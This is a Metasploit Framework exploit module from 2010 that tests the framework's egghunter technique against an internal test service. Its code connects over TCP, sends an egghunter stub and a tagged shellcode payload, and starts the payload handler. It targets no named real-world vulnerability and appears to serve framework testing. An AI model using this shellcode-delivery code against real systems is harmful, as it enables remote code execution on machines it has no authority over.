##
# $Id: egghunter.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internal Egghunter Test Exploit',
			'Description'    =>
				"This module tests the exploitation of a test service using the Egghunter.",
			'Author'         => 'jduck',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10150 $',
			'Arch'           => ARCH_X86,
			'Payload'        =>
				{
					'Space'    => 1000,
					'MaxNops'  => 0,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[ 'Windows',
						{
							'Platform' => 'win'
						}
					],

					[ 'Linux',
						{
							'Platform' => 'linux'
						}
					]
				],
			'DefaultTarget' => 0))

		register_options(
			[
				OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ])
			])
	end


	def autofilter
		false
	end

	def check
		return Exploit::CheckCode::Vulnerable
	end

	def exploit

		connect

		print_status("Sending #{payload.encoded.length} byte payload...")

		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, {
				:checksum => true
			})
		print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes")

		sploit = ''

		# break before?
		#sploit << "\xcc"
		sploit << eh_stub
		# just return otherwise
		sploit << "\xc3"
		# hopefully we find this!
		sploit << eh_egg

		sock.put(sploit)

		if (datastore['WaitForInput'])
			puts "Type something..."
			gets
		end

		handler
	end

end
